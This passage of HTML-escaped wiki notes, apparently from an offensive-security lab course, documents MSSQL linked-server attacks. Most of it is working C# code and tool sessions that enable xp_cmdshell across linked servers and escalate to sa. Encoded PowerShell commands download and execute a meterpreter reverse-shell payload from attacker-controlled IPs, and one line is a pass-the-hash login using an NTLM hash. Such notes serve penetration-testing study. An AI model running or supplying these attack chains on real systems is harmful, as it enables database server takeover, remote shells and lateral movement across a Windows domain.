EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039; &#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String execCmd = &amp;quot;EXEC sp_linkedservers;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(execCmd, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Querying Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Since we know from the enumeration above that &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked to &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; we can query the linked SQL server&lt;br /&gt;
&lt;br /&gt;
* This will print the version of the linked SQL Server.&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of double quotes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Point 2: Querying Linked Servers using OPENQUERY&lt;br /&gt;
            String queryCmd = &amp;quot;SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&amp;quot;;&lt;br /&gt;
            SqlCommand queryCommand = new SqlCommand(queryCmd, con);&lt;br /&gt;
            SqlDataReader queryReader = queryCommand.ExecuteReader();&lt;br /&gt;
            while (queryReader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server version: &amp;quot; + queryReader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            queryReader.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Executing Commands on Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Use the AT keyword to specify the linked server.&lt;br /&gt;
&lt;br /&gt;
* Example: &amp;lt;code&amp;gt;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT DC01&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of single quotes in SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Enable &#039;show advanced options&#039; through DC01&lt;br /&gt;
            String execCmd = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand execCommand = new SqlCommand(execCmd, con);&lt;br /&gt;
            execCommand.ExecuteNonQuery();&lt;br /&gt;
            // Check if &amp;quot;show advanced options&amp;quot; is enabled on DC01 using OPENQUERY&lt;br /&gt;
            String checkCmd = &amp;quot;SELECT value_in_use FROM OPENQUERY(DC01, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;show advanced options);&amp;quot;;&lt;br /&gt;
            SqlCommand checkCommand = new SqlCommand(checkCmd, con);&lt;br /&gt;
            int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar());&lt;br /&gt;
            if (valueInUse == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Command executed successfully: &#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is not enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            String enablexpcmdshell = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con);&lt;br /&gt;
            enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.244/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
            //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
            //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            //$EncodedText&lt;br /&gt;
            string execmd = &amp;quot;EXEC (&#039;xp_cmdshell &#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand runthis = new SqlCommand(execmd, con);&lt;br /&gt;
            runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01.&lt;br /&gt;
&lt;br /&gt;
* If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation.&lt;br /&gt;
&lt;br /&gt;
* Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server.&lt;br /&gt;
&lt;br /&gt;
To enumerate if the linked SQL server has another link, we can use the code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0].ToString());&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will use &amp;lt;code&amp;gt;OpenQuery&amp;lt;/code&amp;gt; twice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
String query = &amp;quot;select mylogin from openquery(\&amp;quot;dc01\&amp;quot;, &#039;select mylogin from openquery(\&amp;quot;appsrv01\&amp;quot;, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
while (reader.Read())&lt;br /&gt;
{&lt;br /&gt;
    Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0].ToString());&lt;br /&gt;
}&lt;br /&gt;
reader.Close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Code Exection&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Using the code below will give us code execution on &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; through &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; as the &amp;lt;code&amp;gt;sa&amp;lt;/code&amp;gt; user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static string sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
        static string database = &amp;quot;master&amp;quot;;&lt;br /&gt;
        static string conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                ListLinkedServers(con);&lt;br /&gt;
                DisplayCurrentLoginThroughDC01(con);&lt;br /&gt;
                DisplayCurrentLoginLocal(con);&lt;br /&gt;
                EnableAdvancedOptionsOnBothServers(con);&lt;br /&gt;
                EnableXpCmdShellOnBothServers(con);&lt;br /&gt;
                ExecutePayloadOnAppsrv01ThroughDC01(con);&lt;br /&gt;
                con.Close();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ListLinkedServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            string query = &amp;quot;select mylogin from openquery(dc01, &#039;select mylogin from openquery(appsrv01, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
            ExecuteReader(con, query, reader =&amp;gt; Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginLocal(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;SELECT SYSTEM_USER;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Executing as login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableAdvancedOptionsOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE;&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableXpCmdShellOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            // Enable xp_cmdshell on appsrv01 through DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            // Enable xp_cmdshell on DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;&#039;&#039;&#039; &#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteReader(SqlConnection con, string query, Action action)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlDataReader reader = cmd.ExecuteReader())&lt;br /&gt;
                {&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        action(reader);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteNonQuery(SqlConnection con, string query)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
                {&lt;br /&gt;
                    cmd.ExecuteNonQuery();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception ex)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Failed to execute query. Error: {ex.Message}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static bool CheckIfOptionEnabled(SqlConnection con, string server, string option)&lt;br /&gt;
        {&lt;br /&gt;
            string query = server == &amp;quot;DC01&amp;quot;&lt;br /&gt;
                ? $&amp;quot;SELECT value_in_use FROM OPENQUERY({server}, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;{option});&amp;quot;&lt;br /&gt;
                : $&amp;quot;SELECT value_in_use FROM sys.configurations WHERE name = &#039;{option}&#039;;&amp;quot;;&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                return Convert.ToInt32(cmd.ExecuteScalar()) == 1;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Automating linked SQL enum and attacks ===&lt;br /&gt;
&lt;br /&gt;
==== PowerUpSQL.ps1 ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#MSSQL_Trusted_Links Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/PowerUpSQL GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server]&lt;br /&gt;
&lt;br /&gt;
==== Evil SQL Client ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/ESC GitHub - NetSPI/ESC: Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First run the .exe on target machine&lt;br /&gt;
# Find domainspns&lt;br /&gt;
SQLCLIENT&amp;gt; discover domainspn&lt;br /&gt;
# Show discovered instances.&lt;br /&gt;
SQLCLIENT&amp;gt; show discovered&lt;br /&gt;
# List links information for accessoble target SQL Server instances.&lt;br /&gt;
list links&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== MSSQL Pwner (Best tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ScorpionesLabs/MSSqlPwner GitHub - ScorpionesLabs/MSSqlPwner]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01.&lt;br /&gt;
python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive&lt;br /&gt;
...&lt;br /&gt;
[*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo)&lt;br /&gt;
...&lt;br /&gt;
# Pass the hash MSSQLPwner&lt;br /&gt;
MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive&lt;br /&gt;
&lt;br /&gt;
# Set link server to DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)&amp;gt; set-link-server DC01&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
# Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights.&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# Execute commands on appsrv01 through DC01&lt;br /&gt;
# First get the chain list&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; get-chain-list&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Chain list:&lt;br /&gt;
[*] 995f1680-2ad4-4f50-8606-47312d5b5807 - APPSRV01 (CORP1\offsec@master/guest) (CORP1\offsec guest@master)&lt;br /&gt;
[*] aacabf55-4bb6-40e3-a0ce-feb406d26b1e - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] f74445c8-4fb7-4a68-86d8-9c14cfd9470a - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa&amp;gt;I:CORP1\Administrator@master/dbo) (CORP1\Administrator dbo@master)&lt;br /&gt;
[*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master)&lt;br /&gt;
&lt;br /&gt;
# Set the chain by using the chain ID and execute a command&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; set-chain c7ecd747-93cf-4978-aab2-33a8864400f1&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# To get a shell on appsrv01 through DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec &amp;quot;powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&amp;quot;&lt;br /&gt;
# The encoded powershell command&lt;br /&gt;
$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
